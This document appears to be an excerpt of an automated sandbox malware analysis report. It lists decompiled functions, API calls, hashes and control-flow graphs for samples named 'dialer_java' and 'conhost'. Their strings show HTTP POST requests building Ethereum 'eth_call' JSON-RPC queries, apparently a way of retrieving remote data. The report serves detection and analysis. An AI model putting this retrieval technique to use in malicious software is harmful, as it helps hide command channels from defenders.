                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fprintf
                                  • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                  • API String ID: 383729395-3474627141
                                  • Opcode ID: 0d15dd107c1c7b7ee9c3dbc79bee5512547a48c097ea1489700897209fd66f7b
                                  • Instruction ID: 71d36b1102feb9258ef6507dbc2be1e56ad2dab3689c5861475ae7238a8a7315
                                  • Opcode Fuzzy Hash: 0d15dd107c1c7b7ee9c3dbc79bee5512547a48c097ea1489700897209fd66f7b
                                  • Instruction Fuzzy Hash: 79F0C82190D94582D6309B24E94107DA3A1EB49BC1F40A371DF8DD7251DF1CE98A8304
                                  Function 00007FF695DE0777 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: strerrorstrlen
                                  • String ID: (null)
                                  • API String ID: 960536887-3941151225
                                  • Opcode ID: f2373a739143e5c7c6886a2839f5784e2abfccd3a5dafc2859586661781da765
                                  • Instruction ID: 45005370fe30e5fb5adcaed1fb505e28058017e3f6f5400b7bf31712131d97e3
                                  • Opcode Fuzzy Hash: f2373a739143e5c7c6886a2839f5784e2abfccd3a5dafc2859586661781da765
                                  • Instruction Fuzzy Hash: C3E04F10F0E10781E925A65154111FEE5D2DFC4F90F9862B5DA0EC2286DE2CFD4E8199
                                  Function 00007FF695DC35C0 Relevance: 5.1, APIs: 4, Instructions: 76stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: strcmp
                                  • String ID:
                                  • API String ID: 1004003707-0
                                  • Opcode ID: 66c6bf3b211be3c92e68e951745e0b462fee0e45d65b69b835429f12a872f51f
                                  • Instruction ID: 4dd8085e7e6576fc3c2d718f2a9b51cdfcfdae595c2d6d55b07efb1c7521dfcc
                                  • Opcode Fuzzy Hash: 66c6bf3b211be3c92e68e951745e0b462fee0e45d65b69b835429f12a872f51f
                                  • Instruction Fuzzy Hash: 66213072A4974282EE708A12E145139A6D0FF05F94F45A6B1CF8E87790DF3DEC898B04
                                  Function 00007FF695DC4FFE Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: CriticalSection$EnterErrorLastLeaveValue
                                  • String ID:
                                  • API String ID: 682475483-0
                                  • Opcode ID: c3e10df1fb81cec98377597e4f843a6904a990f22e519dfd6c3b42c4d24bae7a
                                  • Instruction ID: b5d7154c8abaf90b8aa953bdd25c7c821da7c07820f28cb81f836688f5d84da9
                                  • Opcode Fuzzy Hash: c3e10df1fb81cec98377597e4f843a6904a990f22e519dfd6c3b42c4d24bae7a
                                  • Instruction Fuzzy Hash: 16012C25B1960281FA758B11EA0027423E0FF00F90F5466B1CD0ED7694EF2DBC8DA244

                                  Execution Graph

                                  Execution Coverage:0.4%
                                  Dynamic/Decrypted Code Coverage:0%
                                  Signature Coverage:0.7%
                                  Total number of Nodes:147
                                  Total number of Limit Nodes:7
                                  execution_graph 55946 140001394 55950 140094380 55946->55950 55948 1400013b8 55949 1400013c6 NtPrePrepareEnlistment 55948->55949 55951 14009439e 55950->55951 55954 1400943cb 55950->55954 55951->55948 55952 140094473 55953 14009448f malloc 55952->55953 55955 1400944b0 55953->55955 55954->55951 55954->55952 55955->55951 55956 1400938e0 55957 1400938f6 55956->55957 56031 140008620 strlen 55957->56031 55966 14007e990 57 API calls 55967 140093a17 55966->55967 55968 14007e990 57 API calls 55967->55968 55969 140093a31 55968->55969 55970 14007e990 57 API calls 55969->55970 55971 140093a68 55970->55971 55972 14007e990 57 API calls 55971->55972 55973 140093a82 55972->55973 56068 14007eb00 55973->56068 55976 1400093f0 53 API calls 55977 140093ada 55976->55977 55978 140009500 53 API calls 55977->55978 55979 140093b10 55978->55979 55980 14007e990 57 API calls 55979->55980 55981 140093b57 55980->55981 55982 14007e990 57 API calls 55981->55982 55983 140093b8a 55982->55983 55984 14007e990 57 API calls 55983->55984 55985 140093ba4 55984->55985 55986 14007e990 57 API calls 55985->55986 55987 140093bd2 55986->55987 55988 14007e990 57 API calls 55987->55988 55989 140093bec 55988->55989 55990 14007eb00 46 API calls 55989->55990 55992 140093bfc 55990->55992 55991 140093c7b WinHttpOpen 55993 140093ce2 WinHttpConnect 55991->55993 55997 140093eda 55991->55997 55992->55991 55995 140093d1a WinHttpCloseHandle 55993->55995 55996 140093d0e WinHttpOpenRequest 55993->55996 55995->55997 56000 140093d5a WinHttpAddRequestHeaders 55996->56000 56001 140093d94 WinHttpCloseHandle WinHttpCloseHandle 55996->56001 55998 140093f27 strlen 55997->55998 56022 140093f40 55997->56022 56003 140093f70 55998->56003 56012 140093f34 55998->56012 56002 140093d83 WinHttpSendRequest 56000->56002 56001->55997 56007 140093ddc WinHttpReceiveResponse 56002->56007 56008 140093ea2 WinHttpCloseHandle WinHttpCloseHandle WinHttpCloseHandle 56002->56008 56006 140093fb0 memchr 56003->56006 56010 140094067 56003->56010 56003->56022 56005 14009400c memchr 56005->56012 56005->56022 56006->56003 56006->56022 56009 140093ebf WinHttpCloseHandle WinHttpCloseHandle WinHttpCloseHandle 56007->56009 56015 140093def 56007->56015 56008->55997 56009->55997 56016 14009408b 56010->56016 56017 140094216 56010->56017 56010->56022 56011 140093e30 WinHttpQueryDataAvailable 56013 140093e3e WinHttpReadData 56011->56013 56014 140093e71 WinHttpCloseHandle WinHttpCloseHandle WinHttpCloseHandle 56011->56014 56012->56003 56012->56005 56012->56022 56013->56014 56013->56015 56014->55997 56015->56011 56015->56014 56082 140007f00 strlen 56015->56082 56019 14009418a 56016->56019 56020 140094095 56016->56020 56085 140077190 46 API calls 56017->56085 56083 140006420 45 API calls 56019->56083 56023 1400941c5 memcpy 56020->56023 56024 1400940b7 56020->56024 56023->56024 56024->56022 56084 1400934e0 104 API calls 56024->56084 56026 14009419c 56026->56023 56032 14000864b 56031->56032 56033 140008661 56032->56033 56034 1400086fd 56032->56034 56036 140008667 56033->56036 56037 14000867f 56033->56037 56087 140077190 46 API calls 56034->56087 56041 1400086c1 56036->56041 56042 1400086b3 memcpy 56036->56042 56086 140006420 45 API calls 56037->56086 56040 140008690 56040->56036 56043 1400086e5 56041->56043 56044 1400086d7 memcpy 56041->56044 56042->56041 56045 1400093f0 56043->56045 56044->56043 56046 140025f10 56045->56046 56052 140025f23 56046->56052 56088 14003c260 38 API calls 56046->56088 56048 140025f43 56048->56052 56089 140025e80 53 API calls 56048->56089 56050 140025f4c 56090 14003c33b 38 API calls 56050->56090 56053 140009500 56052->56053 56091 140025f10 56053->56091 56056 14007e990 56057 14007ea84 56056->56057 56058 14007e9bd 56056->56058 56102 14007ef60 56057->56102 56061 14007e9d5 56058->56061 56108 140009830 56 API calls 56058->56108 56067 14007ea19 56061->56067 56109 140026060 45 API calls 56061->56109 56064 14007ea68 56064->56057 56111 140009310 56 API calls 56064->56111 56110 14007ee10 46 API calls 56067->56110 56069 14007eb30 56068->56069 56070 14007eb19 56068->56070 56072 14007ed96 56069->56072 56073 14007eb5e 56069->56073 56071 14007eb1d 56070->56071 56070->56072 56074 14007eb9a 56070->56074 56071->55976 56116 140077190 46 API calls 56072->56116 56073->56071 56075 14007ec26 56073->56075 56074->56071 56076 14007ecb8 56074->56076 56114 140006420 45 API calls 56075->56114 56115 140006420 45 API calls 56076->56115 56081 14007ec36 56081->56071 56083->56026 56084->56022 56086->56040 56088->56048 56089->56050 56090->56052 56092 140025f37 56091->56092 56098 14000951b 56091->56098 56099 14003c260 38 API calls 56092->56099 56094 140025f43 56094->56098 56100 140025e80 53 API calls 56094->56100 56096 140025f4c 56101 14003c33b 38 API calls 56096->56101 56098->56056 56099->56094 56100->56096 56101->56098 56103 14007ea8e 56102->56103 56104 14007ef7b 56102->56104 56103->55966 56104->56103 56112 140007380 11 API calls 56104->56112 56106 14007ef8e 56106->56103 56113 140009310 56 API calls 56106->56113 56108->56061 56109->56067 56110->56064 56111->56057 56112->56106 56113->56103 56114->56081 56115->56081 56117 1400011d8 56118 1400011fa 56117->56118 56119 140001201 _initterm 56118->56119 56120 14000121a 56118->56120 56119->56120 56130 14002d1d0 56120->56130 56122 140001247 SetUnhandledExceptionFilter 56123 14000126a 56122->56123 56124 14000126f malloc 56123->56124 56125 14000128b 56124->56125 56126 1400012a0 strlen malloc memcpy 56125->56126 56126->56126 56127 1400012d0 56126->56127 56128 14000132d _cexit 56127->56128 56129 140001338 56127->56129 56128->56129 56131 14002d1f2 56130->56131 56135 14002d35f 56130->56135 56132 14002d2ee 56131->56132 56133 14002d2a6 56131->56133 56131->56135 56132->56135 56136 14002d339 VirtualProtect 56132->56136 56133->56132 56137 14002d4f0 VirtualQuery VirtualProtect memcpy GetLastError 56133->56137 56135->56122 56136->56132 56137->56133 56138 140009160 GetSystemInfo

                                  Executed Functions

                                  Function 00000001400938C0 Relevance: 59.9, APIs: 23, Strings: 11, Instructions: 444stringCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 0 1400938c0-140093c23 call 14007d190 call 140041b10 call 140008620 call 1400093f0 call 140009500 call 14007e990 * 5 call 14007eb00 call 1400093f0 call 140009500 call 14007e990 * 5 call 14007eb00 40 140093c32-140093c5b call 140009490 call 140009910 call 140009480 0->40 41 140093c25-140093c2d call 1400064a0 0->41 49 140093c6a-140093c6f 40->49 50 140093c5d-140093c65 call 1400064a0 40->50 41->40 52 140093c7b-140093cdc WinHttpOpen 49->52 53 140093c71-140093c76 call 1400064a0 49->53 50->49 55 140093eda-140093ee1 52->55 56 140093ce2-140093ce6 52->56 53->52 57 140093ee3-140093ee8 55->57 58 140093cee 56->58 59 140093ce8-140093cec 56->59 61 140093eea-140093ef2 57->61 62 140093f4f-140093f57 57->62 60 140093cf2-140093d0c WinHttpConnect 58->60 59->60 63 140093d1a-140093d23 WinHttpCloseHandle 60->63 64 140093d0e-140093d12 60->64 65 140093f59-140093f65 61->65 66 140093ef4-140093f1b 61->66 62->65 62->66 63->55 67 140093d14-140093d18 64->67 68 140093d28 64->68 71 140093f6b 65->71 72 1400940d4-1400940d9 call 1400064a0 65->72 69 140093f1d-140093f22 66->69 70 140093f27-140093f32 strlen 66->70 74 140093d2c-140093d58 WinHttpOpenRequest 67->74 68->74 69->70 76 140093f70 70->76 77 140093f34-140093f3a 70->77 73 1400940de-1400940f5 71->73 72->73 78 140094104-14009412b 73->78 79 1400940f7-1400940ff call 1400064a0 73->79 80 140093d5a-140093d81 WinHttpAddRequestHeaders 74->80 81 140093d94-140093da6 WinHttpCloseHandle * 2 74->81 82 140093f73-140093f80 76->82 83 140093f40-140093f4a 77->83 84 140093fe5-140093ff1 77->84 91 14009413a-140094166 call 140009490 call 140009910 call 140009480 78->91 92 14009412d-140094135 call 1400064a0 78->92 79->78 88 140093dab-140093dad 80->88 89 140093d83-140093d92 80->89 81->55 85 1400940bc-1400940c6 82->85 86 140093f86-140093f9b 82->86 93 1400940c9-1400940d2 83->93 90 140094000-140094006 84->90 85->93 86->85 94 140093fa1-140093fa4 86->94 95 140093db5-140093dd6 WinHttpSendRequest 88->95 89->95 90->83 96 14009400c-14009401c memchr 90->96 130 140094175-140094189 91->130 131 140094168-140094170 call 1400064a0 91->131 92->91 93->72 93->73 99 140093fb0-140093fc0 memchr 94->99 101 140093ddc-140093de9 WinHttpReceiveResponse 95->101 102 140093ea2-140093ebd WinHttpCloseHandle * 3 95->102 96->83 100 140094022-140094035 call 1400948b0 96->100 99->85 104 140093fc6-140093fcc 99->104 116 14009404a-14009404d 100->116 117 140094037-140094043 100->117 106 140093ebf-140093ed4 WinHttpCloseHandle * 3 101->106 107 140093def-140093e2b 101->107 102->55 110 140093fd2-140093fde 104->110 111 140094067-14009406a 104->111 106->55 113 140093e30-140093e3c WinHttpQueryDataAvailable 107->113 110->99 115 140093fe0 110->115 111->85 118 14009406c-140094075 111->118 119 140093e3e-140093e51 WinHttpReadData 113->119 120 140093e71-140093ea0 WinHttpCloseHandle * 3 113->120 115->85 116->83 121 140094053-14009405c 116->121 117->90 125 140094045 117->125 118->85 122 140094077-140094085 118->122 119->120 123 140093e53-140093e6f call 140007f00 119->123 120->57 121->82 126 140094062 121->126 127 14009408b-14009408f 122->127 128 140094216-14009422e call 140077190 122->128 123->113 123->120 125->83 126->83 132 14009418a-140094194 127->132 133 140094095-1400940b1 127->133 142 14009424e-140094260 call 1400064a0 128->142 143 140094230-140094235 128->143 131->130 140 140094197 call 140006420 132->140 137 1400941c5-1400941ce memcpy 133->137 138 1400940b7 133->138 141 1400941d3-1400941f2 call 1400934e0 137->141 138->85 138->141 144 14009419c-1400941be 140->144 158 140094201-14009420b 141->158 159 1400941f4-1400941fc call 1400064a0 141->159 145 14009423b-140094243 142->145 156 140094262 142->156 143->145 146 1400942d0-1400942e2 call 1400064a0 143->146 144->137 149 140094249 145->149 150 1400942f3-140094332 call 1400064a0 145->150 146->150 160 1400942e4 146->160 155 140094337-14009434c call 14007eda0 149->155 150->155 166 14009435b-140094363 call 14003a6c0 155->166 167 14009434e-140094356 call 1400064a0 155->167 156->146 158->72 162 140094211 158->162 159->158 160->155 162->73 167->166
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: Http$Requestmemcpy$Openstrlen$AvailableCloseConnectDataHandleHeadersQueryReceiveResponseSend
                                  • String ID: ","data":"$","params":$":"$"},"latest"]$,"id":1}$2"result$POST$[{"to":"$basic_string$eth_call${"jsonrpc":"2.0","method":"
                                  • API String ID: 2791491967-3056609243
                                  • Opcode ID: 4b4c3e4e344ac237899a241df8af14d9851d48d2cffd9456e85186e710b9d624
                                  • Instruction ID: 395b770b5c7af2996f2bb0faf43c56df17577d89683d3ab35281ffd1cc09df53
                                  • Opcode Fuzzy Hash: 4b4c3e4e344ac237899a241df8af14d9851d48d2cffd9456e85186e710b9d624
                                  • Instruction Fuzzy Hash: 38226B32219BC091EA62DB16E4547DAB7A0FB99BC4F844215EF8907BB9DF7DC185CB00
                                  Function 00000001400938E0 Relevance: 42.5, APIs: 14, Strings: 10, Instructions: 466COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 171 1400938e0-140093c23 call 140041b10 call 140008620 call 1400093f0 call 140009500 call 14007e990 * 5 call 14007eb00 call 1400093f0 call 140009500 call 14007e990 * 5 call 14007eb00 208 140093c32-140093c5b call 140009490 call 140009910 call 140009480 171->208 209 140093c25-140093c2d call 1400064a0 171->209 217 140093c6a-140093c6f 208->217 218 140093c5d-140093c65 call 1400064a0 208->218 209->208 220 140093c7b-140093cdc WinHttpOpen 217->220 221 140093c71-140093c76 call 1400064a0 217->221 218->217 223 140093eda-140093ee1 220->223 224 140093ce2-140093ce6 220->224 221->220 225 140093ee3-140093ee8 223->225 226 140093cee 224->226 227 140093ce8-140093cec 224->227 229 140093eea-140093ef2 225->229 230 140093f4f-140093f57 225->230 228 140093cf2-140093d0c WinHttpConnect 226->228 227->228 231 140093d1a-140093d23 WinHttpCloseHandle 228->231 232 140093d0e-140093d12 228->232 233 140093f59-140093f65 229->233 234 140093ef4-140093f1b 229->234 230->233 230->234 231->223 235 140093d14-140093d18 232->235 236 140093d28 232->236 239 140093f6b 233->239 240 1400940d4-1400940d9 call 1400064a0 233->240 237 140093f1d-140093f22 234->237 238 140093f27-140093f32 strlen 234->238 242 140093d2c-140093d58 WinHttpOpenRequest 235->242 236->242 237->238 244 140093f70 238->244 245 140093f34-140093f3a 238->245 241 1400940de-1400940f5 239->241 240->241 246 140094104-14009412b 241->246 247 1400940f7-1400940ff call 1400064a0 241->247 248 140093d5a-140093d81 WinHttpAddRequestHeaders 242->248 249 140093d94-140093da6 WinHttpCloseHandle * 2 242->249 250 140093f73-140093f80 244->250 251 140093f40-140093f4a 245->251 252 140093fe5-140093ff1 245->252 259 14009413a-140094166 call 140009490 call 140009910 call 140009480 246->259 260 14009412d-140094135 call 1400064a0 246->260 247->246 256 140093dab-140093dad 248->256 257 140093d83-140093d92 248->257 249->223 253 1400940bc-1400940c6 250->253 254 140093f86-140093f9b 250->254 261 1400940c9-1400940d2 251->261 258 140094000-140094006 252->258 253->261 254->253 262 140093fa1-140093fa4 254->262 263 140093db5-140093dd6 WinHttpSendRequest 256->263 257->263 258->251 264 14009400c-14009401c memchr 258->264 298 140094175-140094189 259->298 299 140094168-140094170 call 1400064a0 259->299 260->259 261->240 261->241 267 140093fb0-140093fc0 memchr 262->267 269 140093ddc-140093de9 WinHttpReceiveResponse 263->269 270 140093ea2-140093ebd WinHttpCloseHandle * 3 263->270 264->251 268 140094022-140094035 call 1400948b0 264->268 267->253 272 140093fc6-140093fcc 267->272 284 14009404a-14009404d 268->284 285 140094037-140094043 268->285 274 140093ebf-140093ed4 WinHttpCloseHandle * 3 269->274 275 140093def-140093e2b 269->275 270->223 278 140093fd2-140093fde 272->278 279 140094067-14009406a 272->279 274->223 281 140093e30-140093e3c WinHttpQueryDataAvailable 275->281 278->267 283 140093fe0 278->283 279->253 286 14009406c-140094075 279->286 287 140093e3e-140093e51 WinHttpReadData 281->287 288 140093e71-140093ea0 WinHttpCloseHandle * 3 281->288 283->253 284->251 289 140094053-14009405c 284->289 285->258 293 140094045 285->293 286->253 290 140094077-140094085 286->290 287->288 291 140093e53-140093e6f call 140007f00 287->291 288->225 289->250 294 140094062 289->294 295 14009408b-14009408f 290->295 296 140094216-14009422e call 140077190 290->296 291->281 291->288 293->251 294->251 300 14009418a-1400941be call 140006420 295->300 301 140094095-1400940b1 295->301 310 14009424e-140094260 call 1400064a0 296->310 311 140094230-140094235 296->311 299->298 305 1400941c5-1400941ce memcpy 300->305 301->305 306 1400940b7 301->306 309 1400941d3-1400941f2 call 1400934e0 305->309 306->253 306->309 326 140094201-14009420b 309->326 327 1400941f4-1400941fc call 1400064a0 309->327 313 14009423b-140094243 310->313 324 140094262 310->324 311->313 314 1400942d0-1400942e2 call 1400064a0 311->314 317 140094249 313->317 318 1400942f3-140094332 call 1400064a0 313->318 314->318 328 1400942e4 314->328 323 140094337-14009434c call 14007eda0 317->323 318->323 334 14009435b-140094363 call 14003a6c0 323->334 335 14009434e-140094356 call 1400064a0 323->335 324->314 326->240 330 140094211 326->330 327->326 328->323 330->241 335->334
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: Http$Request$Openmemcpy$AvailableConnectDataHeadersQueryReceiveResponseSendstrlen
                                  • String ID: ","data":"$","params":$":"$"},"latest"]$,"id":1}$2"result$POST$[{"to":"$eth_call${"jsonrpc":"2.0","method":"
                                  • API String ID: 2989535152-3677101150
                                  • Opcode ID: 7ecb4fbb299d8fa4d1d7870b545fb05bee1ea912ab1d48d273d7aa9b0d22fca7
                                  • Instruction ID: 0a45e1406e5982f59f2fc6c2af5c977d43a1ba62ab2a44750232788bd8db90d7
                                  • Opcode Fuzzy Hash: 7ecb4fbb299d8fa4d1d7870b545fb05bee1ea912ab1d48d273d7aa9b0d22fca7
                                  • Instruction Fuzzy Hash: 0A228C32209BC481EB62DB26E4547DAA7A0F7997C8F844215EF8903AF9DF7DC585CB00
                                  Function 000000014000118B Relevance: 13.6, APIs: 9, Instructions: 108sleepstringCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                  • String ID:
                                  • API String ID: 2643109117-0
                                  • Opcode ID: f966cf897d97fdcf5acb0abb22ecb3022c1e754601a9a2c90eff2e84d0d997fd
                                  • Instruction ID: 21dee5a7ed0ca65fc6d424eccaaee05dcc08f95fcafea58f694c788d6d797d4f
                                  • Opcode Fuzzy Hash: f966cf897d97fdcf5acb0abb22ecb3022c1e754601a9a2c90eff2e84d0d997fd
                                  • Instruction Fuzzy Hash: BC412271621A4481FB13EF67E9953E927A1BB8DBC0F544026FB1D877B2EE78C8528740
                                  Function 00000001400011D8 Relevance: 10.6, APIs: 7, Instructions: 78stringCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: malloc$ExceptionFilterUnhandled_cexit_inittermmemcpystrlen
                                  • String ID:
                                  • API String ID: 3825114775-0
                                  • Opcode ID: cd529101cb3d552ffe56ca7f6f6cafa5fe4ac04abfacc2703eee019911aeddd2
                                  • Instruction ID: 29b869ab2201ac9beb41dab9bde1d337671c7ceb1fe94e3e0536dbf6f4817cf2
                                  • Opcode Fuzzy Hash: cd529101cb3d552ffe56ca7f6f6cafa5fe4ac04abfacc2703eee019911aeddd2
                                  • Instruction Fuzzy Hash: 76413271624A4081FB03EF5BE9957E927A1AB8D7C0F644026FB5D877F2DE78C8518340
                                  Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  • NtPrePrepareEnlistment.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: EnlistmentPrepare
                                  • String ID:
                                  • API String ID: 1523963513-0
                                  • Opcode ID: 8baeaa0fe46b9fd153a9591ff63a8e66d8f73cf464ffbb02ffea3afa27d4d265
                                  • Instruction ID: 9769505dc877c755ef1a66d12fa02d8a58e0d2ff773e7078621484e8e542cc65
                                  • Opcode Fuzzy Hash: 8baeaa0fe46b9fd153a9591ff63a8e66d8f73cf464ffbb02ffea3afa27d4d265
                                  • Instruction Fuzzy Hash: F7F09272628F4486E615EF92F86179ABBB4FB8D7C4F209819BB8857735DB38C1508B40
                                  Function 0000000140009160 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 409 140009160-140009177 GetSystemInfo
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: InfoSystem
